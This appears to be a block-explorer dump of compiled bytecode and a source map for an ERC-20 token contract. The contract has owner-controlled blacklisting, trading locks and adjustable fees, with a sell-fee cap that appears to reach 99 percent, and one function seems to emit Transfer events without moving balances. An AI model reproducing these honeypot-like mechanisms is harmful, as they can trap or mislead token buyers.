06109805761097f61382e565b5b602002602001015160008089878151811061099e5761099d61382e565b5b60200260200101516040516109b69493929190613898565b60405180910390a38273ffffffffffffffffffffffffffffffffffffffff1663e156b1b68783815181106109ed576109ec61382e565b5b602002602001015189878581518110610a0957610a0861382e565b5b60200260200101516040518463ffffffff1660e01b8152600401610a2f939291906138dd565b6020604051808303816000875af1158015610a4e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a729190613929565b508080610a7e90613985565b91505061084e565b506001905095945050505050565b6000610aa1848484611c76565b610b6284610aad611aa5565b610b5d856040518060600160405280602881526020016143bc60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610b13611aa5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124f99092919063ffffffff16565b611aad565b600190509392505050565b60185481565b60006002905090565b610b84611aa5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0890613a19565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610c80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c7790613aab565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b610d45611aa5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dd2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dc990613a19565b60405180910390fd5b670de0b6b3a7640000601681905550670de0b6b3a7640000601781905550565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610e20611aa5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ead576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea490613a19565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f0b611aa5565b73ffffffffffffffffffffffffffffffffffffffff161480610f815750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f69611aa5565b73ffffffffffffffffffffffffffffffffffffffff16145b610f8a57600080fd5b6000479050610f988161255d565b50565b6000610fe5600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c9565b9050919050565b610ff4611aa5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611081576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107890613a19565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b611147611aa5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111cb90613a19565b60405180910390fd5b8060168190555050565b60165481565b60116020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60175481565b60606040518060400160405280600581526020017f4d50455045000000000000000000000000000000000000000000000000000000815250905090565b611270611aa5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f490613a19565b60405180910390fd5b8060188190555050565b600061131b611314611aa5565b8484611c76565b6001905092915050565b61132d611aa5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b190613a19565b60405180910390fd5b601982856113c89190613acb565b11156113d357600080fd5b606381846113e19190613acb565b11156113ec57600080fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b611416611aa5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149a90613a19565b60405180910390fd5b6001601560146101000a81548160ff021916908315150217905550565b6114c8611aa5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611555576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154c90613a19565b60405180910390fd5b60005b81518110156115e65760016010600084848151811061157a5761157961382e565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806115de90613985565b915050611558565b5050565b60106020528060005260406000206000915054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661164b611aa5565b73ffffffffffffffffffffffffffffffffffffffff1614806116c15750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166116a9611aa5565b73ffffffffffffffffffffffffffffffffffffffff16145b6116ca57600080fd5b60006116d530610f9b565b90506116e081612637565b50565b6116eb611aa5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611778576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176f90613a19565b60405180910390fd5b60005b8383905081101561181757816005600086868581811061179e5761179d61382e565b5b90506020020160208101906117b391906135a6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061180f90613985565b91505061177b565b50505050565b611825611aa5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146118b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118a990613a19565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516119f39190613227565b60405180910390a3600190509392505050565b611a0e611aa5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611a9b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a9290613a19565b60405180910390fd5b8060178190555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611b1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b1390613b71565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611b8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b8290613c03565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611c699190613227565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611ce5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cdc90613c95565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611d54576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4b90613d27565b60405180910390fd5b60008111611d97576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d8e90613db9565b60405180910390fd5b611d9f6111fc565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611e0d5750611ddd6111fc565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156121f857601560149054906101000a900460ff16611e9c57611e2e6111fc565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611e9b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e9290613e4b565b60405180910390fd5b5b601654811115611ee1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ed890613eb7565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f855750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611fc4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fbb90613f49565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614612071576017548161202684610f9b565b6120309190613acb565b10612070576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161206790613fdb565b60405180910390fd5b5b600061207c30610f9b565b90506000601854821015905060165482106120975760165491505b8080156120af575060158054906101000a900460ff16155b80156121095750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156121215750601560169054906101000a900460ff165b80156121775750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156121cd5750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156121f5576121db82612637565b600047905060008111156121f3576121f24761255d565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061229f5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806123525750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156123515750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561236057600090506124e7565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561240b5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561242357600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156124ce5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156124e657600a54600c81905550600b54600d819055505b5b6124f3848484846128ae565b50505050565b6000838311158290612541576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612538919061305e565b60405180910390fd5b50600083856125509190613ffb565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156125c5573d6000803e3d6000fd5b5050565b6000600654821115612610576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612607906140a1565b60405180910390fd5b600061261a6128db565b905061262f818461290690919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561266e5761266d613247565b5b60405190808252806020026020018201604052801561269c5781602001602082028036833780820191505090505b50905030816000815181106126b4576126b361382e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561275b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061277f91906140d6565b816001815181106127935761279261382e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506127fa30601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611aad565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161285e9594939291906141c1565b600060405180830381600087803b15801561287857600080fd5b505af115801561288c573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b806128bc576128bb612950565b5b6128c784848461298d565b806128d5576128d4612b58565b5b50505050565b60008060006128e8612b6c565b915091506128ff818361290690919063ffffffff16565b9250505090565b600061294883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612bcb565b905092915050565b6000600c5414801561296457506000600d54145b61298b57600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b60008060008060008061299f87612c2e565b9550955095509550955095506129fd86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c9690919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612a9285600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ce090919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ade81612d3e565b612ae88483612dfb565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612b459190613227565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b600080600060065490506000670de0b6b3a76400009050612ba0670de0b6b3a764000060065461290690919063ffffffff16565b821015612bbe57600654670de0b6b3a7640000935093505050612bc7565b81819350935050505b9091565b60008083118290612c12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c09919061305e565b60405180910390fd5b5060008385612c21919061424a565b9050809150509392505050565b6000806000806000806000806000612c4b8a600c54600d54612e35565b9250925092506000612c5b6128db565b90506000806000612c6e8e878787612ecb565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612cd883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506124f9565b905092915050565b6000808284612cef9190613acb565b905083811015612d34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d2b906142c7565b60405180910390fd5b8091505092915050565b6000612d486128db565b90506000612d5f8284612f5490919063ffffffff16565b9050612db381600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ce090919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612e1082600654612c9690919063ffffffff16565b600681905550612e2b81600754612ce090919063ffffffff16565b6007819055505050565b600080600080612e616064612e53888a612f5490919063ffffffff16565b61290690919063ffffffff16565b90506000612e8b6064612e7d888b612f5490919063ffffffff16565b61290690919063ffffffff16565b90506000612eb482612ea6858c612c9690919063ffffffff16565b612c9690919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612ee48589612f5490919063ffffffff16565b90506000612efb8689612f5490919063ffffffff16565b90506000612f128789612f5490919063ffffffff16565b90506000612f3b82612f2d8587612c9690919063ffffffff16565b612c9690919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808303612f665760009050612fc8565b60008284612f7491906142e7565b9050828482612f83919061424a565b14612fc3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612fba9061439b565b60405180910390fd5b809150505b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015613008578082015181840152602081019050612fed565b60008484015250505050565b6000601f19601f8301169050919050565b600061303082612fce565b61303a8185612fd9565b935061304a818560208601612fea565b61305381613014565b840191505092915050565b600060208201905081810360008301526130788184613025565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006130bf82613094565b9050919050565b6130cf816130b4565b81146130da57600080fd5b50565b6000813590506130ec816130c6565b92915050565b6000819050919050565b613105816130f2565b811461311057600080fd5b50565b600081359050613122816130fc565b92915050565b6000806040838503121561313f5761313e61308a565b5b600061314d858286016130dd565b925050602061315e85828601613113565b9150509250929050565b60008115159050919050565b61317d81613168565b82525050565b60006020820190506131986000830184613174565b92915050565b6000819050919050565b60006131c36131be6131b984613094565b61319e565b613094565b9050919050565b60006131d5826131a8565b9050919050565b60006131e7826131ca565b9050919050565b6131f7816131dc565b82525050565b600060208201905061321260008301846131ee565b92915050565b613221816130f2565b82525050565b600060208201905061323c6000830184613218565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61327f82613014565b810181811067ffffffffffffffff8211171561329e5761329d613247565b5b80604052505050565b60006132b1613080565b90506132bd8282613276565b919050565b600067ffffffffffffffff8211156132dd576132dc613247565b5b602082029050602081019050919050565b600080fd5b6000613306613301846132c2565b6132a7565b90508083825260208201905060208402830185811115613329576133286132ee565b5b835b81811015613352578061333e88826130dd565b84526020840193505060208101905061332b565b5050509392505050565b600082601f83011261337157613370613242565b5b81356133818482602086016132f3565b91505092915050565b600067ffffffffffffffff8211156133a5576133a4613247565b5b602082029050602081019050919050565b60006133c96133c48461338a565b6132a7565b905080838252602082019050602084028301858111156133ec576133eb6132ee565b5b835b8181101561341557806134018882613113565b8452602084019350506020810190506133ee565b5050509392505050565b600082601f83011261343457613433613242565b5b81356134448482602086016133b6565b91505092915050565b600080600080600060a086880312156134695761346861308a565b5b6000613477888289016130dd565b955050602086013567ffffffffffffffff8111156134985761349761308f565b5b6134a48882890161335c565b945050604086013567ffffffffffffffff8111156134c5576134c461308f565b5b6134d18882890161341f565b935050606086013567ffffffffffffffff8111156134f2576134f161308f565b5b6134fe8882890161341f565b925050608061350f888289016130dd565b9150509295509295909350565b6000806000606084860312156135355761353461308a565b5b6000613543868287016130dd565b9350506020613554868287016130dd565b925050604061356586828701613113565b9150509250925092565b600060ff82169050919050565b6135858161356f565b82525050565b60006020820190506135a0600083018461357c565b92915050565b6000602082840312156135bc576135bb61308a565b5b60006135ca848285016130dd565b91505092915050565b6135dc816130b4565b82525050565b60006020820190506135f760008301846135d3565b92915050565b61360681613168565b811461361157600080fd5b50565b600081359050613623816135fd565b92915050565b60006020828403121561363f5761363e61308a565b5b600061364d84828501613614565b91505092915050565b60006020828403121561366c5761366b61308a565b5b600061367a84828501613113565b91505092915050565b6000806000806080858703121561369d5761369c61308a565b5b60006136ab87828801613113565b94505060206136bc87828801613113565b93505060406136cd87828801613113565b92505060606136de87828801613113565b91505092959194509250565b600060208284031215613700576136ff61308a565b5b600082013567ffffffffffffffff81111561371e5761371d61308f565b5b61372a8482850161335c565b91505092915050565b600080fd5b60008083601f84011261374e5761374d613242565b5b8235905067ffffffffffffffff81111561376b5761376a613733565b5b602083019150836020820283011115613787576137866132ee565b5b9250929050565b6000806000604084860312156137a7576137a661308a565b5b600084013567ffffffffffffffff8111156137c5576137c461308f565b5b6137d186828701613738565b935093505060206137e486828701613614565b9150509250925092565b600080604083850312156138055761380461308a565b5b6000613813858286016130dd565b9250506020613824858286016130dd565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000819050919050565b600061388261387d6138788461385d565b61319e565b6130f2565b9050919050565b61389281613867565b82525050565b60006080820190506138ad6000830187613218565b6138ba6020830186613889565b6138c76040830185613889565b6138d46060830184613218565b95945050505050565b60006060820190506138f260008301866135d3565b6138ff60208301856135d3565b61390c6040830184613218565b949350505050565b600081519050613923816135fd565b92915050565b60006020828403121561393f5761393e61308a565b5b600061394d84828501613914565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000613990826130f2565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036139c2576139c1613956565b5b600182019050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000613a03602083612fd9565b9150613a0e826139cd565b602082019050919050565b60006020820190508181036000830152613a32816139f6565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613a95602683612fd9565b9150613aa082613a39565b604082019050919050565b60006020820190508181036000830152613ac481613a88565b9050919050565b6000613ad6826130f2565b9150613ae1836130f2565b9250828201905080821115613af957613af8613956565b5b92915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613b5b602483612fd9565b9150613b6682613aff565b604082019050919050565b60006020820190508181036000830152613b8a81613b4e565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613bed602283612fd9565b9150613bf882613b91565b604082019050919050565b60006020820190508181036000830152613c1c81613be0565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613c7f602583612fd9565b9150613c8a82613c23565b604082019050919050565b60006020820190508181036000830152613cae81613c72565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613d11602383612fd9565b9150613d1c82613cb5565b604082019050919050565b60006020820190508181036000830152613d4081613d04565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000613da3602983612fd9565b9150613dae82613d47565b604082019050919050565b60006020820190508181036000830152613dd281613d96565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b6000613e35603f83612fd9565b9150613e4082613dd9565b604082019050919050565b60006020820190508181036000830152613e6481613e28565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b6000613ea1601c83612fd9565b9150613eac82613e6b565b602082019050919050565b60006020820190508181036000830152613ed081613e94565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b6000613f33602383612fd9565b9150613f3e82613ed7565b604082019050919050565b60006020820190508181036000830152613f6281613f26565b9050919050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b6000613fc5602383612fd9565b9150613fd082613f69565b604082019050919050565b60006020820190508181036000830152613ff481613fb8565b9050919050565b6000614006826130f2565b9150614011836130f2565b925082820390508181111561402957614028613956565b5b92915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b600061408b602a83612fd9565b91506140968261402f565b604082019050919050565b600060208201905081810360008301526140ba8161407e565b9050919050565b6000815190506140d0816130c6565b92915050565b6000602082840312156140ec576140eb61308a565b5b60006140fa848285016140c1565b91505092915050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b614138816130b4565b82525050565b600061414a838361412f565b60208301905092915050565b6000602082019050919050565b600061416e82614103565b614178818561410e565b93506141838361411f565b8060005b838110156141b457815161419b888261413e565b97506141a683614156565b925050600181019050614187565b5085935050505092915050565b600060a0820190506141d66000830188613218565b6141e36020830187613889565b81810360408301526141f58186614163565b905061420460608301856135d3565b6142116080830184613218565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000614255826130f2565b9150614260836130f2565b9250826142705761426f61421b565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006142b1601b83612fd9565b91506142bc8261427b565b602082019050919050565b600060208201905081810360008301526142e0816142a4565b9050919050565b60006142f2826130f2565b91506142fd836130f2565b925082820261430b816130f2565b9150828204841483151761432257614321613956565b5b5092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000614385602183612fd9565b915061439082614329565b604082019050919050565b600060208201905081810360008301526143b481614378565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220411509191e86967b916fcbce1a766dfb841c686aa285ffbf557efa4b2168ec3a64736f6c63430008120033
Deployed Bytecode Sourcemap
4403:14638:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6947:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7872:193;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5768:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7224:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9014:725;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8073:446;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6093:52;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7133:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2046:244;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;18918:117;;;;;;;;;;;;;:::i;:::-;;5816:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18297:101;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13740:235;;;;;;;;;;;;;:::i;:::-;;7327:138;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1890:148;;;;;;;;;;;;;:::i;:::-;;18437:108;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5965:56;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5510:43;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1676:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6028:58;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7038:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18106:139;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7473:199;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17648:406;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13410:78;;;;;;;;;;;;;:::i;:::-;;13983:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5472:36;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-